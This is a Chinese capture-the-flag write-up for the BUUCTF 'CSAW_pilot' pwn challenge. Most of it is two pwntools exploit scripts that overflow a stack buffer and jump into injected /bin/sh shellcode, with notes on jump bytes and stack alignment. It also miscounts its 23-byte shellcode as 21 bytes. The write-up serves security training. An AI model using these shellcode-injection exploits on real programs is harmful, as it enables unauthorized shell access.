[BUUCTF]-PWN:CSAW_pilot解析

查看保护,NX没有开启,栈可执行。

[BUUCTF]-PWN:CSAW_pilot解析_第1张图片

查看main函数,可以看到给出了main函数栈开始的地址,以及可以进行栈溢出的read函数,因为NX没开,栈可执行所以考虑使用ret2shellcode。

[BUUCTF]-PWN:CSAW_pilot解析_第2张图片

这里有两种解法

#解法一(使用pwntools给的shellcode):

exp如下

from pwn import*
context(arch='amd64',log_level='debug')
#p=remote('node4.buuoj.cn',26477)
p=process('./pilot')
shellcode=asm(shellcraft.sh())
p.recvuntil(b'Location:')
stack_addr=int(p.recv(14),16)
print(hex(stack_addr))
moversp=asm('''
sub rsp, 0x2a
''')
print(len(moversp))
print(disasm(moversp))
payload=moversp+shellcode[0:34]+b'\xeb\x08'+p64(stack_addr)+shellcode[34:48]
print(len(shellcode))
print(disasm(shellcode))
p.send(payload)
p.interactive()

要点1:为什么这里要加上\xeb\x08?

答:\xeb\x08这里是指跳转至偏移8个字节的地方,用法就是\xeb\xxx,跳转至偏移xx字节的地方,这里的shellcode断开一定要用这个,不然shellcode没法正常运行。

要点2:为什么是把rsp移动0x2a?

答:根据函数调用以及栈帧原理,函数返回后,rsp指向返回地址,shellcode在执行的时候会推入寄存器入栈,这样会破坏shellcode,将rsp移动0x2a个距离后,rsp恰好会指向shellcode中的push 0x68处,这个时候shellcode推入寄存器将恰好对shellcode的执行没有影响。当然移动多一点也是可以的,用add指令去移动也是可以的。

要点三:为什么栈开始的地址会随时变化?

答:首先要明确一点,开启堆栈地址随机化会导致栈开始的地址在每次程序运行时的时候会不一样,即使不开堆栈地址随机化,也会因为包括动态链接库等各种原因使栈开始的地址会变化,只不过这种变化可能相比堆栈地址随机化来说并不算太大,但还是会导致栈开始的地址变化,所以一般情况下向栈中注入shellcode都是有难度的。

要点四:使用pwntools给的shellcode要先确定是64位还是32位,不然pwntools可能会给你32位的44个字节的shellcode

#解法二(用较短的shellcode去解):

exp如下

from pwn import*
context(arch='amd64',log_level='debug')
#p=remote('node4.buuoj.cn',28090)
p=process('./pilot')
p.recvuntil(b'Location:')
stack_addr=int(p.recv(14),16)
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
print(len(shellcode))
print(disasm(shellcode))
payload=shellcode+b'a'*17+p64(stack_addr)
print(hex(stack_addr))
p.sendline(payload)
p.interactive()

对于这个没有什么好解释的,平时做ret2shellcode的题目可以去积累一点特殊的shellcode,比如最短或者全用可见字符,对以后做题会很有帮助,这个shellcode也是我从网上找的。64位的21个字节的shellcode,可以记一下。

你可能感兴趣的:(数据库,网络安全)